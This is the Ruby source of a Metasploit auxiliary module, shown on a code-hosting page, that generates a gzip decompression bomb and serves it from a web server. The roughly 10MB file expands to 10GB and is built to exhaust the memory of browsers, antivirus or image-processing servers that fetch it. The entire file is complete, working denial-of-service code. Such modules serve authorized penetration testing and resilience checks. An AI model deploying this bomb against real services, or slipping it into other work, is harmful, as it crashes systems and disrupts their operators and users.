CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/gzip_bomb_dos.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
require 'stringio'
8
9
class MetasploitModule < Msf::Auxiliary
10
include Msf::Exploit::Remote::HttpServer::HTML
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Gzip Memory Bomb Denial Of Service',
15
'Description' => %q{
16
This module generates and hosts a 10MB single-round gzip file that decompresses to 10GB.
17
Many applications will not implement a length limit check and will eat up all memory and
18
eventually die. This can also be used to kill systems that download/parse content from
19
a user-provided URL (image-processing servers, AV, websites that accept zipped POST data, etc).
20
21
A FILEPATH datastore option can also be provided to save the .gz bomb locally.
22
23
Some clients (Firefox) will allow for multiple rounds of gzip. Most gzip utils will correctly
24
deflate multiple rounds of gzip on a file. Setting ROUNDS=3 and SIZE=10240 (default value)
25
will generate a 300 byte gzipped file that expands to 10GB.
26
},
27
'Author' =>
28
[
29
'info[at]aerasec.de', # 2004 gzip bomb advisory
30
'joev' # Metasploit module
31
],
32
'License' => MSF_LICENSE,
33
'References' =>
34
[
35
[ 'URL', 'http://www.aerasec.de/security/advisories/decompression-bomb-vulnerability.html' ]
36
],
37
'DisclosureDate' => '2004-01-01',
38
'Actions' =>
39
[
40
[ 'WebServer', 'Description' => 'Host file via web server' ]
41
],
42
'PassiveActions' =>
43
[
44
'WebServer'
45
],
46
'DefaultAction' => 'WebServer'))
47
48
register_options(
49
[
50
OptInt.new('SIZE', [true, 'Size of uncompressed data in megabytes (10GB default).', 10240]),
51
OptInt.new('ROUNDS', [true, 'Rounds of gzip compression. Some applications (FF) support > 1.', 1]),
52
OptString.new('URIPATH', [false, 'Path of URI on server to the gzip bomb (default is random)']),
53
OptString.new('CONTENT_TYPE', [false, 'Content-Type header to serve in the response', 'text/html'])
54
],
55
self.class)
56
end
57
58
def run
59
datastore['HTTP::compression'] = false # not a good idea
60
@gzip = generate_gzip
61
print_status "Gzip generated. Uncompressed=#{default_size}bytes. Compressed=#{@gzip.length}bytes."
62
exploit # start http server
63
end
64
65
def on_request_uri(cli, request)
66
print_status "Sending gzipped payload to client #{cli.peerhost}"
67
rounds = (['gzip']*datastore['ROUNDS']).join(', ')
68
send_response(cli, @gzip, { 'Content-Encoding' => rounds, 'Content-Type' => datastore['CONTENT_TYPE'] })
69
end
70
71
# zlib ftw
72
def generate_gzip(size=default_size, blocks=nil, reps=nil)
73
reps ||= datastore['ROUNDS']
74
return blocks if reps < 1
75
76
print_status "Generating gzip bomb..."
77
StringIO.open do |io|
78
stream = Zlib::GzipWriter.new(io, Zlib::BEST_COMPRESSION, Zlib::DEFAULT_STRATEGY)
79
buf = nil
80
begin
81
# add MB of data to the stream. this takes a little while, but doesn't kill memory.
82
if blocks.nil?
83
chunklen = 1024*1024*8 # 8mb per chunk
84
a = "A"*chunklen
85
n = size / chunklen
86
87
n.times do |i|
88
stream << a
89
if i % 100 == 0
90
print_status "#{i.to_s.rjust(Math.log(n,10).ceil)}/#{n} chunks added (#{'%.1f' % (i.to_f/n.to_f*100)}%)"
91
end
92
end
93
else
94
stream << blocks
95
end
96
97
a = nil # gc a
98
buf = generate_gzip(size, io.string, reps-1)
99
ensure
100
stream.flush
101
stream.close
102
end
103
buf
104
end
105
end
106
107
def default_size
108
datastore['SIZE']*1024*1024 # mb -> bytes
109
end
110
end
111
112